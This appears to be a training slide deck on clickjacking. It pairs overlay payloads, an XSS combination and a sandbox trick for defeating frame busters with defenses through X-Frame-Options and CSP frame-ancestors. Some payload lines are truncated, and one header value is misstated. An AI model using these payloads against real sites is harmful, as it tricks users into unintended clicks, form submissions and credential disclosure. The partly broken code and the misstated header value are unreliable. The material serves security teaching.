60 MIN

Clickjacking

DAY ##

WHAT IS CLICKJACKING?

- Clickjacking is an attack that **tricks** a **user** into **clicking** a webpage **element** which is **invisible** or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. (From here).

PREPOPULATE FORMS TRICK

- Clickjacking Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behavior to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit.

POPULATE FORM WITH DRAG & DROP

- If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to **Drag & Drop** something that will write your controlled data like in this example.

BASIC PAYLOAD

```
<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:470px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```

MULTISTEP PAYLOAD

```
<style>
   iframe {
       position:relative;
       width: 500px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:60px;
       z-index: 1;
   }
   .secondClick {
       left:210px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```

DRAG & DROP + CLICK PAYLOAD

```
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xs
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts"
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain'
</body>
</html>
```

XSS + CLICKJACKING

- If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.
- Example: *You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.*
- __An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.

HOW TO AVOID CLICKJACKING

Client side defenses

- It's possible to execute scripts on the client side that perform some or all of the following behaviors to prevent Clickjacking:

1. Check and enforce that the current application window is the main or top window
2. Make all the frames visible
3. Prevent clicking on invisible frames
4. Intercept and flag potential clickjacking attacks on a user

BYPASS

- Frame busters depend on JavaScript.
- Browser security or lack of JavaScript support can block them.
- Attackers bypass frame busters with HTML5 iframe sandbox.
- Using allow-forms or allow-scripts without allow-top-navigation neutralizes frame busters.
- Prevents iframe from verifying if it's the top window.

```
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms
```

BYPASS CONT.

- Both the allow-forms and allow-scripts values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviors while allowing functionality within the targeted site.
- Depending on the type of Clickjacking attack performed **you may also need to allow**: allow-same-origin and allow-modals or even more. When preparing the attack just check the console of the browser, it may tell you which other behaviors you need to allow.

X-FRAME OPTIONS

- The **X-Frame-Options HTTP response header** can be used to indicate whether or not a browser should be **allowed** to render a page in a <frame> or <iframe>. Sites can use this to avoid Clickjacking attacks, by ensuring that **their content is not embedded into other sites**. Set the **X-Frame-Options** header for all responses containing HTML content. The possible values are:

1. X-Frame-Options: deny which **prevents any domain from framing the content** *(Recommended value)*
2. X-Frame-Options: same origin which only **allows the current site** to frame the content.
3. X-Frame-Options: allow-from https://trusted.com which **permits the specified 'uri'** to frame this page.

- Check limitations below because **this will fail open if the browser does not support it**.
- Other browsers support the new **CSP frame-ancestors directive instead**. A few support both.

CONTENT SECURITY POLICY (CSP) FRAME-ANCESTORS DIRECTIVE

- The **recommended clickjacking protection** is to incorporate the **frame-ancestors directive** in the application's Content Security Policy.
- The **frame-ancestors 'none'** directive is similar in behavior to the **X-Frame-Options deny** directive (*No-one can frame the page*).
- The **frame-ancestors 'self'** directive is broadly equivalent to the **X-Frame-Options same origin** directive (*only current site can frame it*).
- The **frame-ancestors trusted.com** directive is broadly equivalent to the **X-Frame-Options** allow-from directive (*only trusted site can frame it*).
- The following CSP whitelists frames to the same domain only:

```
Content-Security-Policy: frame-ancestors 'self';
```

Content Security Policy (CSP) frame-ancestors directive cont.

- See the following documentation for further details and more complex examples:

- https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors

LIMITATIONS

- See **Browser support**: CSP frame-ancestors are not supported by all the major browsers yet.
- **X-Frame-Options takes priority**: Section "Relation to X-Frame-Options" of the CSP Spec says: "*If a resource is delivered with a policy that includes a directive named frame-ancestors and whose disposition is "enforce", then the X-Frame-Options header MUST be ignored*", but Chrome 40 & Firefox 35 ignore the frame-ancestors directive and follow the X-Frame-Options header instead.

REFERENCES

- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html